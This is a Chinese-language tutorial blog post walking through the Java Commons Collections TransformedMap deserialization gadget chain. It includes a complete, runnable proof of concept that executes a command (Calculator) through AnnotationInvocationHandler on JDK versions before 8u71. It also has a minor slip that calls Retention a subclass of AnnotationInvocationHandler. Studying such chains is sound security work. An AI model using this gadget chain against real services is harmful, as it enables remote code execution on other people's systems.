day4—反序列化(TransformedMap)

前面我们只介绍了如何利用某些类中的方法来执行命令,但是反序列化的关键在于如何将最后的对象生成为一个序列化流,也就是我们所需要的POC

我们说过当一个对象生成序列化流的时候会调用类中的writeObject方法,而反序列化的时候会调用readObject方法,那么我们就需要找到一个可以利用的类

我们编写一个序列化流的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain,null );
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,outerMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oi = new ObjectOutputStream(baos);
oi.writeObject(obj);
oi.close();

可以看到这次我们的transformers数组中没有直接去调用Runtime.getRuntime(),这是因为我们序列化的时候,所有调用到的类必须继承SerializableRuntime.getRuntime()是一个Runtime类的对象,而Runtime.class是一个java.lang.Class的对象,而后者继承了Serializable,所以可以被序列化

那现在我们要理清楚transformers数组中的调用顺序,笔者开始学习时屡次放弃也正是因为看不懂调用反射的方式。

首先我们看一下正常的反射链

1
Class runt = Runtime.class;  runt.getMethod("exec",String.class).invoke(runt.getMethod("getRuntime").invoke(runt),"ls");

我们如果把它完整的写出来应该是

1
2
3
4
5
Class runt = Runtime.class;
Method method = runt.getMethod("getRuntime");
Object exe = method.invoke(runt);
Method methodExec = runt.getMethod("exec",String.class);
methodExec.invoke(exe,"ls");

第一步我们肯定要获得一个Runtime.class对象,所以我们使用new ConstantTransformer(Runtime.class)肯定是没问题的

按照传入顺序,这个时候我们需要去获取到一个getRuntime方法,这时候我们传入的是

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

我们把他带入到InvokerTransformer.transform

1
2
3
Class cls = input.getClass(); //Class cls = Runtime.class.getClass(); java.lang.Class
Method method = cls.getMethod(iMethodName, iParamTypes); //Method method = cls.getMethod("getMethod", new Class[] {String.class, Class[].class })
return method.invoke(input, iArgs); //method.invoke(Runtime.class,new Object[] {"getRuntime", new Class[0] } );

这样就可以看出我们是利用反射去获取到了一个getMethod方法,并获取到了getRuntime这个时候我们相当于执行到了

runt.getMethod("getRuntime"),这时候本质返回的还是一个Method对象

这个时候我们将返回值作为下一个输入的时候我们实际getClass()获取到的是

image-20211102113739646

这个时候我们并不能直接去获取到Runtime.getRuntime()这个对象

接着我们继续跟

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })

这里去通过反射去获取一个invoke方法,并且没有传入参数,目前我也不太能理解这里面的机制,看了几遍文章都没有详细介绍,只知道这里可以将刚刚获取到Method转化为一个对象类似

Object obj = method.invoke(input),只是这里的method是invoke

当我们执行完上面几步就相当于获取了一个Runtime.getRuntime()对象,再根据我们前文所介绍的获取exec方法即可

  • Tips:
    • 大家可以看到上面很多参数是new Class[0] new Object[0],其实就相当于null来占位

到这个时候我们刚刚把利用链补充完整,接着我们需要进行反序列化的介绍

AnnotationInvocationHandler

上面我们只换了一种方式去执行命令,但是我们知道最主要的还是反序列化,也就是将流转化为对象,那么我们就无法直接使用outerMap.put("test", "xxxx");去触发,我们知道当我们反序列化的时候会调用readObject方法

这里我们使用AnnotationInvocationHandlerreadObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

其中

1
2
3
4
5
Map.Entry<String, Object> memberValue : memberValues.entrySet() 
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

memberValue是一个Map类型,并且我们输入的对象经过了TransformedMap的渲染,当我们去操作Map的时候就会触发TransformedMapTransform方法,从而代替Map.put()的方式

那么我们该怎么去创建AnnotationInvocationHandler的对象呢,因为它是一个JDK内部类,所以无法直接去创建,这个时候我们就需要使用反射的方法,去拿到他的构造方法。

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,outerMap);

当我们拿到构造方法一共传入了两个参数

image-20211116140112733

第二个参数我们很好理解,因为从刚才分析readObject方法我们得出的结论是,memberValues是经过TransformedMap修饰的对象,所以在这里应该是我们Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain );中的outerMap,但是第一个参数我们不好去理解,看到P牛的文章说会涉及到Java注释相关的技术,所以P牛直接给出了两个条件,同时满足即可,主要目的是满足readObject的中 if (memberType != null),这里直接贴出两个条件

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

image-20211116140715770

我们可以看到Retention.classsun.reflect.annotation.AnnotationInvocationHandler的子类,并且里面有一个value()方法,那么我们满足第二个条件即可,也就是我们需要把键名设置为innerMap.put("value","test");

所以最终的poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","test");
Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain );
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,outerMap);

FileOutputStream baos = new FileOutputStream("Object");
ObjectOutputStream oi = new ObjectOutputStream(baos);
oi.writeObject(obj);
oi.close();
FileInputStream test = new FileInputStream("Object");
ObjectInputStream obtest = new ObjectInputStream(test);
obtest.readObject();
obtest.close();

该poc只适用于jdk8u71之前,因为在后面sun.reflect.annotation.AnnotationInvocationHandler进行了重写,就无法触发该漏洞